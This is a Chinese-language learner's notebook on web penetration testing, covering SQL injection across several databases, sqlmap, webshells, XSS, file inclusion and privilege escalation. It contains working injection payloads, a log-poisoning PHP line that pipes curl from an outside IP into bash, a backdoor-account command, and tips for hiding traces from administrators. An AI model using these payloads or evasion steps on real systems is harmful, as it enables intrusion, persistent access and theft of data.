渗透测试再学习
基础知识
术语

没有绝对的安全!就算是 VPN+肉鸡也能也会被反查!
但是这已经是最安全的了!多台肉鸡!!!

poc 漏洞验证!
exp 漏洞利用!
poc就是不痛 id=1 没有危害的!
exp就是直接利用!id =1 union select admin,pass from users;
去公司渗透流程会教! 渗透水平不教!
vm虚拟机:
直接可以打开:03.vmx 文件
虚拟机的网站,主机怎么访问:
nat直接通过主机上网
仅主机 (只能本地去测试!)不能上网!也可以上网但是要设置!和主机同一网段!能相互访问!一般主机测试用!
桥接!和主机同一网段!能上网!

哪怎么外网可以访问呢?
加个路由器
xp win7 2003 2008 2012
xp 2008 ttl=128
win7 xp 64 一个路由器-1
虚拟机网站怎么发布出去:
首先的桥接!在同一网段!
打开路由器端口映射功能!

外部访问我的的外网ip99端口 路由器 就会直接映射到内网ip的99端口上!
就可以在外边穿梭了!直接百度查外网ip!

噢噢噢噢!
这样就可以直接外网加端口!对应内网网站了!(一般都是桥接)
我测试了!现在不行了!以前可以!这个教程太早了!
学长给了个方法!用frpc
学长说现在的路由器ip还是内网ip!(这点不是很理解!)
http


目录:403
菜刀连接 500
win不区分大小写
linux区分大小写!
index.php index.pHP
/admin/index.html 伪静态
爬行!再看!
x-forwarded-for
client-ip
refere可以都要注入

一台服务器搭建多个网站!
端口:不同ip 域名
不同ip
不同端口
不同域名
拉跨了!不知道为啥!搭部起来!直接的index.asp可以!可能他的源码有问题!
没用zkeysphp
直接用的phpstucy php mysql环境
最后好了!
一开始死活访问不到!有突然可以访问了!
端口
21 |20 ftp
80 http 443 https
53 dns
67|68 dhcp
69 tftp
445 smb
3306 mysq
1433 sqls
1581 ol
5432 pgs
22 ssh
23 telent
25 smtp
110 pop3
3389 远程桌面

win


C:\Windows\System32\drivers\etc\host
C:\Windows\System32
C:\ProgramData 木马常放的文件
C:\Program Files 配置文件
temp 临时文件
C:\Windows\System32\config\sam 密码文件
提权!!!***






补充:tasklist
taskkill /f /m qq.exe
msg
linux
要会在linux下会搭建网站!



uname -r/-a
hostname
cat /proc/cpuinfo
cat /proc/meminfo
cd - 返回上次访问的目录!
cd ~ 返回root下
ls -R 递归显示


touch *可以用来修改时间 迷惑一下管理员!np
有原文件的时候!touch不更改它的内容!只会改他的时间!




set nu 设置行数
vi里替换
s是search
:1,4s/gg/aa 修改1到4行里的内容!!!
:e!恢复最初状态!
一般最后清理日志痕迹的时候用!

history命令比较重要好用
压缩



gzip -9 a.tar a.tar.gz 压缩
tar -cvzf abc.tar.gz a.pl hack.php 打包并压缩!
解包并解压: tar -zxvf a.tar.gz zxvf 顺序不能变!tar -xvzf abc.tar.gz




不是/bin/bash就不能调用命令行了!


ps -aux
top查看进程!
网络
vps|vpn
vps就是服务器
vpn 就是可以搭到vps上!
原理:就是相当于 外面有点服务器,DHCP给你分了个IP 当你看外网就通过这个ip看!
防火墙就是拦截一些流量的!不能杀毒!
路由是寻找路径的过程!路由器具有路由的功能!
路由器+交换机+pc ==内网 这样内网就可以访问外网了!通过路由器转发!
因为ipv4少 所有分成了 内外网
老师说 ipv6 可以就没有内外网了!
路由器的内网地址就是网关!就是出接口!
DHCP就是谁给你分发ip!我这个好像也是路由器分发!
如果你现在无法联网,你可以打电话到你的网络服务商咨询,网络服务商就是你交网费都交给谁了,他就负责告诉你DNS服务器的地址。


家里的路由器可能集成了交换机的功能!所有直接一个路由器搞定!
我看了看家里的!那个光猫 是无线设备!!!🙄不对!反正 网线-》猫-》路由器 就上网了!🙄
好像也有直接集成无线功能的路由器!

交换机就是把线分多了!路由器自带的口少!用个交换机再分!
网络技术局域网!
通过运行商的路由!
可以理解成路由!把数据包全国各地的传!这样每个地方就可以互相访问了!

再 运行商再互联!
再城市再互联!
就是通过运营商把大大小小的局域网串联起来!这样就可以访问了!
中国就是一个局域网! 想看外边!就要通过vpn! 让他给你给外边的ip!再访问!
vpn 首先中美是可以连通的!

isp运营商!
暗网是不通过运营商的! 它直接tor!


简单的说是万物互联形成互联网!

osi

上图:下面传输数据!上面可能是加密的!

物理层–》网线
数据链路 –》网卡 可能是把 网卡可能是物理!也可能是这个! 交换机是这个层的!
网络层 –》 路由器!
传输层-》 两台pc 通信
会话 -》就是会话 管理
表示 -》处理数据包 数据
应用 -》 就是 QQ
tcp|ip

渗透用tcp|ip协议

qq发信息 是应用层
通过tcp 是传输层
写个地址ip 是网络层
局域网通信 数据链路层
MAC地址 物理层 局域网是通过mac地址通信的!
ip地址

最大最小不能用!
最大是广播地址!

通过子网掩码 来看! 看主句位!子网掩码255是填满的!

5类地址!abcde
127除了 255 255 255不行 其他都是本地!
路由

路由 数据包转发!


就是发出 和 接收!

转发通过路由表! 不能直达!
网络节点 说的就是电脑!
交换机
内网 通过交换机来上网!
面试一般问:
arp欺骗原理!
渗透思路!
kali!
通常用kail里的工具吗!漏洞扫描用那些工具!


简单说 有直接通信!没有 广播再通信!🙄
arp协议 查ip对应的mac地址!
中间件攻击:

先去欺骗 a!收到 a的发的数据包!
再去网关 .!收到 发送给a的数据包!
攻击条件:
1 arp表多态获取!
2 和攻击的服务器在同一网关下!
外网 服务器
c段可不一定在一个局域网里!
html

学这个,主要是xss
asp木马:
Description: 类型不匹配: ‘execute’
这个如何解决呢?
想出了一个好办法,只要用”eval”替换掉”execute”,就不会出错了!
信息收集

whois 收集目标信息!还可以反差!看看还有没有其他域名! 攻击其他站!可能撞库!
子域名:重

c段和旁站!:
旁站就是同一个服务器上的网站!
c段:买了一段服务器,相当于一个内网!拿了内网里一台服务器权限,相当于可以内网渗透了!通过这台服务器跳到另一台服务器上!
查旁站的话,直接网站查算了!找了找k8和御剑 好像有问题!🙄

网站搭配
win linux
iis 5.0 6.0 7.0 对应有响应的漏洞!
tomcat jsp
iis php asp aspx
apache nginx php
waf d盾| 安全狗|360 。。 试一试就出来了! 还有自己写的waf

谷歌|百度好像一样!
现在判断注入:
/报错,-0返回正常!
and 1=1不行!有狗!
不同国家的域名不同!可以搞搞国外的站!
一个域名最多能对应几个IP地址?,一个IP地址可以绑定几个域名?
一个域名可以多个ip地址!负载均衡就行! ip嘛当然可以多个域名了!
后台扫描:

听着听着!听到了逻辑漏洞!
就是:举个例子:后台是 admin.php/?mod=login 那你改一下:admin.php?mod=logined 说不定就逻辑登录了!
可能理解不太多!以后遇到文章再看!
CDN
站长 多ping
CDN是提高访问速度!集权是响应速度!
有了CDN怎么找到真实ip呢:

其实把看子域名!也是看旁站! 我感觉:域名-》找ip->找ip的旁站-》如果没拿下那个ip的话看看c段-》从其他ip入手(相当于玩内网渗透了!)-》
所有 我理解的子域名挖掘: 可以看旁站,再看看c段上的站!🙄 可能在一个局域网里!怎么判断在不在一个局域网里我还不知道!
让服务器主动给你发包: 注册,修改密码等!
为啥看子域名呢.因为一般主站才有CDN ,旁站没有!看旁站也可以直接找到服务器ip!
Cms *
织梦dedecms 的数据库密码 MD5加密可能是 20位 前去3 后去1再去解密!
一般学校|医院要排名的 可能是织梦
博客可能是 wordpress



a php my
asp access sqls my
aspx sql
jsp sqls
信息收集总结一下
总结一下: 往大的说: 拿到个站点,先去扫下目录,不行,去看看旁站,再不想,看看在同一c段的!
往小的说:当然拿到站点要分析站点: whois查询,cms,看看有没有cdn!整站的分析!服务器类型,网站容器,脚本类型,数据库类型,cms,waf!
漏扫工具

个人感觉:还是awvs|burp|appscan好的 要不就是 net |safe 椰树和M7比较偏cms漏洞扫描!用了用不知道是不是时间太久了!还是咋了!不是很好用椰树和M7!net |safe也没awvs和burp好用!
appscan也不好使!
漏扫工具可能因为网速原因!不太好使!多扫几次!
burp学习:

一个字典
1单个扫描: 扫完第一个扫第二个
2 同时扫描 (用户名和密码一样的!) 可能公司和学习的 帐号和密码一样!可以用这个top500用户名构造 字典 来撞库!
两个字典
3 分开获取数据! 就是去 n m的最小值!
4 n * m获取数据!
Repeater:
有的网站!sql注入他把报错隐藏了!就是接收的数据包里有!就是前端优化了(发现报错直接跳转主页面)!
黑客的迂回“打法”
看旁站!


搭建站点的3个方法 ip 端口 域名
一般是端口搭建! 多域名可以扫一扫! 端口的话,也可以扫一扫!
多扫一扫!就能找到旁站了! 域名和端口多扫一扫!
如果用端口搭建站点的话!一般会搭建在高位端口! 8001 8002 .。
工具可能受网络的影响,多扫几遍!

好像还有cms漏洞扫描工具等等 还有cve 的扫描工具的!
批量扫描漏洞: burp|awvs|appscan
小的漏洞总结:
暴库:就是直接可以下载access 数据库的文件!
目录遍历: 直接可以搜出来! 谷歌黑语法:转到父目录 inurl:.mdb


下载漏洞:就是下载的路径可控!

是access下载 .mdb 是mysql sqlsevser 下载 配置文件
管理后台登录:

exp利用:直接搜索 cms漏洞!先url采集!
url采集: 直接用工具|goodle

编辑器
编辑器:怎么理解呢: 就是 后端可以直接生成页面的东西! 就是把文件通过编辑器直接生成前端页面!
按数据库类型分:
0x03 MySQL与MSSQL及ACCESS之间的区别
1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
access
存储是小的!
他就是文件构成的!放到网站根目录下!
一般是.mdb
sqls贵
只要执行了语句就存在注入: id= 31 * 1 31/ 31-1 31+1-1 31.0 31.1
常见的access表名:


又去看了看sql!
在您的网站中使用 SQL |
六:Access
Access数据库属于文件型数据库 所以不需要端口号



and exists(select * from msysobjects)>0 |

自己想了想:
use security; |

他的数据库里表名和列名 靠猜的!🙄
再写exp跑处数据!
或者直接联合!处数据!|报错也能出把!
关键是access没有像mysql一样放数据库名的地方!只能靠猜!!!🙄



偏移注入


注入原理 |
扩展 |
select * from pp where b=-1 union select 1,2,4,5,6,7,8,9,id ,0 from referers LIMIT 0,1; |

p是7个字段!
referers是4个字段!
通过换位置,来得到自己想要的回显:


两列也是可以回显第一例的!
不知道是不是mysql还浏览器的原因 不能直接用 * 必须 referers.* 这没啥!注意就好 写上就不会有问题了!

就是位置的不同拿到密码!
方法2:
拿出我的
http://192.168.218.140:8003/news_detail.asp?id=107 测试: |
用join 这我tm ai tcl 无能咆哮!😫
这个原理玩的理解:是
就是 3+3 就是原来 字段的2倍!

因为它占用的字段多了!
就把回显的点 又站住了!就显示出来了! 和换位显示结果是一样的!
就可以看成:
1,2,3,4,5,6,7,8,9,10,11,12,13,14
1,2,3,4,*
*就是里 5+5 10列数据的第一行 因为不知道有几行:
看回显的位置: 因为5-14行被站了!
5 | 7 | 10 能回显
猜一下:字段应该是: id usrname pass date 还有应该不知道
但是 5 6 7 对应的应该是 id username pass
所以7的位置上就会显示 password 5的位置是id号
我一开始以为都会回显!去源码里找,没找到!
感觉把!不如换位置好! 换位置,你猜一猜字段,猜pass字段在第几个!然后自己换位置让它爆出来!
还又第二种方法(这用join 就算换位置也不改变数据!)
好有 直接用 * 和表名.*的结果不一样!
最好用第一种方法换位置 写 表名.*




发现第二种方法换位置没变数据 :
相当于:1,3,4,5,*
也可以猜一猜字段:去元素里看看!



跨库查询:

a上有sql漏洞: b的话你要字段 表名和字段名 access数据库
就是access 不是直接在网站目录下嘛!就相当于 因为access数据库没有数据库名!
这里可以理解 把路径当成数据库了!

就是直接看其它网站access里的数据了! 不过要知道 其他网站数据库的 表名和字段名!

写文件

还是用sqlmap写的香!

挖掘0day
0day只能去代码审计了!!!啊啊啊啊 。😫😫😫


sqlserver|mssql
考试|大学|棋牌|政府|oa|游戏|人事考试网站!
asp
aspx +sqlserver
1433端口
管理员:sa 密码:


如果版本不对应!
直接生成脚本!
就是哪sql语句脚本。那到自己的电脑在还原|执行!

guest可以读去帐号密码!
一般存放调用数据库的文件:
conn.asp
dbconfig.asp
aspx
web.config




http://testasp.vulnweb.com/showforum.asp?id=1 and 1=1 |

还是去找找位置就懂了!

它把点取得了!五日 我说一开始咋找不到呢!
还有一点: 不等于是 <> 🙄

db_name

and/**/1=(select/**/top/**/1/**/namefrom/**/master..sysobjects/**/where/**/dbid>4) |
where dbid>5 |>6

for xml path 自己报错注入 爆全部!


又想了想:这是啥注入呀!
不是报错注入呀! 好像是! 哦! 就认为 报错把sql语句执行了把!这归为那种注入有点难!
就是执行sql语句了! 这种 猜测一测应该就知道了!
哦哦,sqls 创建数据库的时候:是 自带 dbo.的
所以sys不用带 这解释有点牵强!


为啥呢:
通过sysobjects里的id列 找 对应 syscolumns里的id列!!
🥱

大小写让waf
%0a 绕过正则 + %20 /**/


提权
当你是sysadmin权限时 打开 shell
就可以直接创建用户和远程桌面!


远程桌面:




mstsc

看他的视频不知道为什么,总感觉很爽!
内网 ,外网
内网开了:3389 让他去占用80
为什么呢!因为路由器可能只转发80端口!那外面网络访问的时候,自动转发到内网的80端口!
占用后,就可以自动转发到远程桌面了!就可以登录了!getshell后最后再改回来!
一般晚上玩!

dbowner权限攻击


mysql
create xxx; |

这里没又concat函数 等等 自己搜吧!c
concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password) 类似字符串拼接! |



发现就group_concat能全爆出来!其他不行!
16进制

安装路径重要!

不在网站根目录!去data|include里看看!
.inc.


绕过waf 还是正则的话:
就去污染参数: %00 a%00nd a%0and
16进制绕过
绕过过滤了% 用 chr | char 绕过

联合

表名直接用16进制代替!

4.0没 information
可以用sqlmap用字典跑!
显错注入
大佬说有10方法!自己找找!
https://blog.csdn.net/whatday/article/details/63683187
上面有点不行!需要版本限制!都试一试!
mysql4.0的直接sqlmap跑算了!

L



读文件:

爆网站路径
下面那个是iis网站信息! 可以爆网站路径
爆网站路径 最常见的是上传! 在bp里可以看见报错 爆出路径!


无论linux还win都写出斜杠好点!
win也写成斜杠!不要反斜杠!
记住都是斜杠就好了!
16进制 在括号里可以!外部不行!
获取网站根目录
1报错可以!
读写文件



一看是root权限!可以写文件!

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,'adada' into outfile 'g:/222222.txt' %23 |

宽字节注入

就是单引号被转义了!输入admin' 变成admin\' |


oracle
oracle: 航空 | 物流 |银行 |铁路|淘宝 |大学 大的结构都用 太贵了!大公司用


oracle网站搭配
可以 : asp+or
aspx +or
jsp +or
tomcat + or + asp |aspx |jsp
和access注入 一样!
第一种注入:

把 数字都替换成 null
然后找到非数字类型列! 再加上sql语句就可以爆破了!
dual就是 inform 可以这样理解!

数据 和mysql一样的 user() database() 就是变长了!

像这样一样注入!

爆表:


爆其他数据库的话!我感觉 可以变rownum=2 百度把! 🙄 感觉是这样!
爆列:




1 2 数字用null替换!
思路还是一样的!库-表-字段-内容 暴库的话 个人感觉是换 rownum=2|3|4等等!以后再看看!
我感觉也可以直接一下子爆全部表用 字符串拼接:
第二种注入:
和access一样 考猜!

猜表名!|列名
猜表名!|列名! 可以用 bp+字段跑😀

猜到列名爆数据!
感觉爆内容用我自己写的好点:
select 1 and ((select ASCII(substr( |

最笨用py写3层for循环也许!不过算了!身有体会! 二分真好!😫
postgresql
国外的多!外贸
php+pgs
日本多
PostgreSQL与MySQL语法直接的差异及PostgreSQL注意事项


+and+1::int=1-- |
和oracle一样不能用数字
先去找字符列!然后爆数据:
||是字符串连接 这个mysql不是 好像每个数据库字符串拼接不一样 搜一搜





sql注入其他类型

get注入常见:不说了
post注入
post注入。登录框,注册,搜索,上传,修改
看数据包!
登录的验证码!http都可能有注入!
自己sqlmap
--form 默认选择表单 |
日了!黑盒测试的就是试一试|看报错! 白盒可以代码审计了!
大佬讲了个post注入!居然可以改参数的变量! 注意是变量不是值!这一般是白盒测试出来的!黑盒靠运气!
%5b %5d 是[] 在这加上’ forward居然有报错!🙄



'=(select group_concat(username,0x3a,password) from c_admin where id=1 )# 解码后 |
一般bp后url编码下!因为bp自带url编码! 其实浏览器发包都是url编码了!bp抓的是编码后的!
直接插入payload:
插到 ]之前

cookie注入|中转注入

一般get型有🐕 试一试cookie看看能不能注入!
--cookie "id=27" --level 2 把注入点放到--cookie后面 |

把get参数放到cookie里!
和我之前想的不一样的!我以为是cookie里自带的参数有注入!可能这也是一种方法!


发现有变化!这可能是程序出错了! 又想了想 就 是在cookie里自己添加一些sql语句试一试,看看结果!就知道有没有注入了!
手工:cookie中转


就是把浏览器cookie改成 id=30 and 1=2
之后直接提交页面!因为浏览器保留的原来的cookie
如果又注入!一提交页面就会报错! 下图:

就是在浏览器里手工注入! 感觉直接bp好!但是bp不能直接显示出来,不好观察!
参数型注入:
数字型,
字符串型 就是看id是整型还是字符串! 举个例子! 闭合的思想!
注意: 字符型注入 不一定是数字了! 字符串也可以! id=art20 也是可以注入的! 因为是闭合思想嘛!
搜索注入: 就是搜索框注入!
就是搜索内容 传到参数里了!

搜寻型注入



SELECT*from c;短版 |
还是可以用sqlmap跑的!
和post一样! 可能也是get

伪静态注入!
phpweb

就是有些页面静态化了!
baidu.com/xx_stid/12.html
可能: baidu.dom/xx.php?stid=12 这样也可能访问!
爬行网站!
还原成动态的! 测试案例:

加个’ 号
再 110 and 1=1 又可以了! 说明又注入!

这种 就是把伪静态 还原成动态! 看它语句 猜动态 语句!爬行 看脚本语言!
加个* 和sqlmap跑!
qlmap.py -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3 |
延迟注入

payload:
id= 1 and sleep(5) |

like in = 之间的替换 不一样! |
base64 编码注入:

有些站 会把 id的值 编码!!
sqlmap base64encode
sqlmap.py -u "?id=1" --tamper='base64encode.py' |
二阶注入

第一次构造!第二次 爆出!


攻击存储的话!要通过白盒审计号挖一点! 就是 看源代码构造! 黑盒就 乱插单引号 试一试把!🙄 碰碰运气!

插入构造语句! 在访问 就可以显示结果! 攻击存储!

攻击存储! 就是 在数据库里插入了sql语句!你再次 查询的时候 把插入是sql语句带入执行了!就造成了攻击! buuctf里又这种白盒的题!
就是注册页面 插入sql语句! 查询页面 带入执行了!
phpv9 authkey注入
去网上找 那个漏洞!直接exp利用!
是个中转注入! 把数据传递过来了!
中转注入
我理解的中转注入 就是 get | post 都不穿数据 他用 re接收数据(re方便接收)!
这时候 get | post不传数据 用 cookie传数据 因为:
request对象可以接受的数据 |
Http头注入
http头里的参数可以又注入!
就是http头发生给服务器,服务器呢可能 处理http头的数据并带入数据库! 简单说 就是http头里的数据也和数据库交互了! 凡是和数据库交互都可能有注入!
referer| xff| client-ip|agent
p2p网站 P2P金融
就是可能登录的时候会记录ip 什么的 就和数据库有交互了!下图:

这中插入注入! 可以:构造exp 就是 构造 先插入再查询!

insert into 注入
INSERT INTO table_name VALUES (value1,value2,value3,...),(value1,value2,value3,...); |

自己试一试:



大佬写的有!!!
主要是我感觉 root的时间不对 所以想自己试一试! 它这个时间是乱的!不用管!
xml实体注入

xml作用: 数据转存|数据传输!

把接收的信息保存到xml文件里!
和 xss可像 是标签的闭合!
就是通过标签的闭合!来达到注入!和sql注入不一样!都没牵扯数据库!

java里可能用的!
就是通过构造xml文件里的信息! 爆出需要的信息!

就是 插入 xml的语句执行了!
sql注入怎么挖
看见能输入的地方就试一试! adada’
加个单引号试一试!
/ |
--os-shell |
其他注入post|cookie

post也很多!
post一般 |
sqlmap跑post的时候!在注入点价格*

burp抓包时进行url编码一次!post的时,在burp里测试里添加%df
看下面!他是进行了url编码了!

--forms 在目标URL上解析和测试表单。 |
sqlmap学习
burp sqlmap nmap awvs hydra appscan msf |

-h |

--current-user |
除了
access 和mysql<5.0 直接爆表 没库 |

--dbms=mysql |

--users 爆全部用户! |

--level |

-v 显示 测试信息 |

--risk |

批量测试: |

-g "inurl:php?id=" 批量检测注入! |

--data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2" |

默认是&分割参数! |

--referer=REFERER 指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。 |

--delay=0.5 |
线程就一次性发几个包! |

--safe-freq="主页什么的" |

用不用=都行! |

就是一些特殊的闭合! |

--technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用) |

--technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用) |


--dump-all 查询全部数据。例: --dump-all --exclude-sysdbs |

--search 搜索列、表和/或数据库名称。 |

udf用户自定义函数! |

-s SESSIONFILE 从一个文件加载保存的session。 |

--charset=CHARSET 强制字符串编码。例: --charset=GBK |
--flush-session 清空会话信息。 |



--smart 有大量检测目标时候,只选择基于错误的检测。 |

--identify-waf 识别目标的防火墙。 |

Windows registry access |

access mysql<5.0 |

--forms 在目标URL上解析和测试表单。 |

延迟注入:
--time-sec=TIMESEC 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。 |

-f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息。 |
Operating system access |
--sql-query=QUERY 执行一个sql语句。 |

File system access |

数据导出:
--dump-format=DU.. 转储数据的格式 ,有(CSV (默认)文档格式, HTML,SQLITE)三种。 |

--msf-path=MSFPATH Metasploit Framework本地的安装路径。 |
看了看: |


19.hex2char.py
将每个编码后的字符转换成等价表达,既用等价的CONCAT(CHAR(),…)对应替换每个(MySQL)0x 编码的字符串
SELECT 0xdeadbeef to SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239)) |
SELECT CONCAT(0x222,CHAR(173),CHAR(190),CHAR(239)) |

木马
webshell

网站后门!



反正传出来的应该 都过不了 🐕! 要自己写一个!
jsp -》 utf-8 连不上 可能也是 编码的问题!
说某个软件免杀!我想应该是这个软件的 脚本能免杀!所以它可以连上!这个免杀 我理解的是 说的应该是 脚本!
一句话+大马 提权!
图片🐎:
c32|copy 直接做就好了!
小马:

小马 就是用来上传大马的!现在都要一句话了!!
小马有时候可以做一下免杀!
大马:
提权:

使用技巧:
一句话一定要执行!光插进去不行!
大马:
提权,打包,脱裤,增删文件,等等 |

过🐕的话: |
webshell的‘黑吃黑’|webshell 的后门!
就是我们用的连 webshell 的客户端和浏览器端都可能有后门!把我们连接的数据发送到 某个作者的服务器上! 那他 不就随便连接了吗!
10个软件 8 | 9个后门
我们可以盗取它的cookie! 用到了xss!
黑吃黑!😶
后门的话 怎么抓: 一般 两种发送传递后门! http|tcp
用wireshark | 等等抓包工具分析零流量包!
如果上传的马删不掉!可以上传和它同名的!替换掉它!注意不能执行!可能一执行又删不掉了!
编辑器
主要思想: 配合解析漏洞拿shell! 要不直接后台拿shell!
动态网站!数据库交互!
动态网站后台有个编辑器!
可以自动生成 静态页面!
编辑器:
后台: 修改文章! 上传 ! 添加 ! |
eweb ckfinder |

挖掘编辑器漏洞!
其他编辑器攻击详解(southidceditor、UEditor、DotNetTextBox、Kedit、 |
怎么看有没有编辑器:
扫它! |

动态网站 一般都有编辑器! 可能会藏起来!
一般不在
根目录,admin目录下也有可能!
要有思考! 和运维 想法一致!
eweb 默认上传目录 uploadfiles |


inurl:ewebeditor site:xxx.xxx.com |
FCK



Fck 上传路径 userfiles |



发现 登录后台后 搜一搜 editor 都找到编辑器! |
绕过fck版本》 2.5 |


个人感觉还是考的是 文件上传!
最多是 文件上传+ 编辑器漏洞!
估计现在都少了!



有时候可能会过滤:
把 asp;.jpg 变成 asp_jpg |
解析漏洞
EWEB


eweb 有自己独立的后台!

进后台上传shell:
eweb 自己在白名单里添加 cer asp aaspsp ass |


没有后台
利用目录遍历漏洞!

就是找到/Admin_UploadFile.asp?id=45 &dir=../.. |

cookie欺骗:

CKFINDER


ckfind目录 |
南方数据 | south


IIS6.0 asp.asa.cer.cdx. 原理
UEditor

DotNetTextBox

Kedit

Cute Editor

感觉 就是 文件包含漏洞! 🙄 |
思想
08 03 配合解析漏洞! |
XSS 来了
XSS一定能挖! 上班摸鱼的最好选择! 可惜我还不是很会! 🙄
一个网站啥没有 !感觉不能没XSS!

就是执行了 js代码! |
owasp
很多公司都是安它的标准 来进行 渗透测试的! owasp top 10
《owasp渗透测试指南》
xss攻击客户端浏览器的!

过滤不严! |

注意
xss不要只用一个浏览器测试!每个浏览器都试一试!

蠕虫的话 不懂! |
JS基础
document 对象 |


a.html 是x.js 的对象 |

和c语言差不多!

js的事件要看看!
反射性|存储型
xss漏洞挖掘
绕过 |
有去看了看xss! 之前看了好几回了! 老是不太懂 dom型 和反射性的区别! 因为没个人理解不一样!
看了看:
你用burp Suite或者其他WEB数据包分析工具分析一下就会发现:存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子; |
dom和反射理解
DOM-based XSS 与存储性 XSS、反射型 XSS 有什么区别?
这怎么理解的: 发射和存储和服务器交互了! dom只在浏览器交互!
一定要看看 html dom ,看完好像明白了!
就是看是反射还是 dom 看是不是服务器处理就型了! bp最简单! |
pikaqiu的dom:

这一看源码 发现提交的数据是 被浏览器的 html dom处理的了! 那这就是dom型的!

看这个提交的数据 被后端执行了! 那就是反射性!!🙄🙄🙄
怎么看是不是 dom型呢! bp也可以 ! 可以直接看源码! 搜一搜:document.getElementById("dom").innerHTML |
工具挖掘
owasp xss xsstrike
过滤了 alert可以 eval+编码绕过 |

magic 就是把
' --》 \' 用单引号 /xss/ 或者编码! |

js url 可以识别 unicode 和 url编码 |

漏洞利用

document.cookie |
打cookie
绕过没有 http-only的情况下 直接盗取cookie ! |
盲插! |

存储型: |
http-only绕过
一般 cookie里 auth决定身份认证的! |
上传xss! |
用js留后门!
就是把代码直接插到管理员登录界面!或者登录后的界面! |
CSRF

玩一玩pikaqiu就知道了! |
怎么挖! 只要通过url提交攻击的 都存在csrf! |
伪造一下! |


大佬把 post提交的 放到 get上了! |

防护csrf
referer 看来源 是不是恶意链接!一般从黑客手里来源都不是正常管理后台的路径! 所以可以直接防护! |

但是有两个问题! |
php相关漏洞

文件包含漏洞




就是有个参数! 可以显示任何服务器文件! |
拿shell 一般上传木马文件都能拿! |

图片🐎不多说了!


只要想办法让日志里有一句话! 再包含就能拿shell!
find / -name “*_history”

<?=`curl 8.131.72.215|bash`; |

直接就包含运行! 不要担心它在字符串里! |

注意有一点 你必须有读的权限才行! |

记得url编码一下! |



php伪协议
allow_url_include 打开 |

直接用hackbar 不是很好用! 用bp好用! |




代码执行


学会php 可以过🐕 |

就是 要会一些 php的性质! |
除了system 有浏览器回显! 其他没回显! |
文件包含漏洞挖掘
就是看见有参数=文件名的形式! |
变量覆盖



JSP

java的漏洞!
struts2漏洞

找交互! 找.action |
是内网! |
java反序列化漏洞

中间件漏洞



其他漏洞

越权漏洞


逻辑漏洞
逻辑密码找回!
就是 有点站修改密码的时候! 发送的邮箱可以改变! |

逻辑支付漏洞! 就是薅羊毛! 其实都是改参数!网上都有案例! |
SSRF


就是 访问服务器 服务器可以从其他内网服务器获取数据! 就间接的获取内网里其他服务器的信息! |

就是访问服务器 a a去访问b b在返回a a在返回浏览器! 那b就是可控的! 所以任意的获取资源!就会有漏洞! |



怎么挖ssrf呢! 就是你给个地址! 如果它能从它的服务器调出去!说明存在漏洞! 🙂 |
这是一个辅助漏洞! |
getshell总结
webshell -> 提权! –> 内网渗透!

管理员拿shell!
就是登录后台! 直接改源码!或者上传源码!

数据库备份

两种思路! |
突破上传拿shell!


%00 还可以放到 目录后门绕过! |

或者直接修改类型来getshell! |
中间件解析漏洞

利用编辑器getshell +解析漏洞
插🐎拿shell
inc/config.asp |


通过编辑器模板拿shell!

就是 通过模板生成php页面! |
上传插件拿webshell
像有的 worldpress 站 博客类型的网站! 可以上传插件!
直接上传一个带木马的压缩包!在知道木马的目录!就可以getshell了!
可以秒杀博客! 免杀木马!过🐕!
数据库执行拿shell!

就是 sql语句拿shell! |
文件包含拿shell
命令执行拿shell
echo '<?php phpinfo();?>' > /var/www/html/ttt.php |
普通用户拿shell

通过上传头像拿shell! |
常见的cms拿shell

这去网上搜一搜cms漏洞把! |
提权
就是把自己的权限提升一下!
也可以理解把webshell的权限提示一下!
就是这个网站是以什么身份运行的!那你拿到这个网站的权限,也就只有它的身份!可能权限很小,也可能很大!

匿名权限可能无法执行cmd! |
一般等运行aspx 的权限比asp|php权限高!
也可以理解成 上传大马 !提权!
上传大马后信息收集


cmd不能执行

1上传cmd
可以上传 上传cmd 五日🙄
找一个可以上传的目录!隐蔽性好的! 上传个cmd脚本!再指定它执行!
系统是按 批头处理的 可以把 cmd.exe改成 cmd.aaa

查找3389
windows提权

1 第三方软件提权

FTP server -u:
FTP上传下载文件!
server -u:搭建FTP 服务器的 软件!

思路: 修改配置文件! 直接 改密码或者 添加用户!
没权限!直接破解密码!
也可以直接大马一件提权! 就是溢出提权!


就是没权限 就破解密码 ! 再登录创建用户提权!
G6FTP

FILEZilla

大体上的思路就是:
破解密码! 再端口转发出去!

连接!创建第三方软件用户!然后 提权!
远程管理软件

然后你再下载软件连接即可!和3389桌面一样!


溢出提权
这就和msf差不多了!

上传执行就可以了! 用一个可以执行的cmd! 来执行上传的exe文件! 它就会利用溢出漏洞! 提示你的权限!
启动项提权

就是写个p处理 开机自动启动 创建一个用户! 来提权!
破解hash
管理员以上的权限!
直接读出来密码!

数据库提权

不允许外联的话!只能上传木马了!

UDF提权

udf提权 这都需要工具的! 🙄🙄🙄
启动项提权

mof提权

反弹shell

有防火墙的时候 可以试一试 反弹!
反弹shell 就是 让他去访问你! |
内网端口转发

就是 内网端口转发! |

linux提权

内核溢出提权

mysql udf

站库分离的话不行!
suid

suid 普通用户也有管理员的执行权限! |
找到suid文件|程序 ! 通过他们去执行自己命令! 或者通过他们获取bash shell! |
利用环境变量劫持提权

就是把 echo /bin/bash > ping |



后渗透攻击
维持访问

创建后门帐号
net user c c /add |
登录后创建隐藏账户!
修改注册表! |



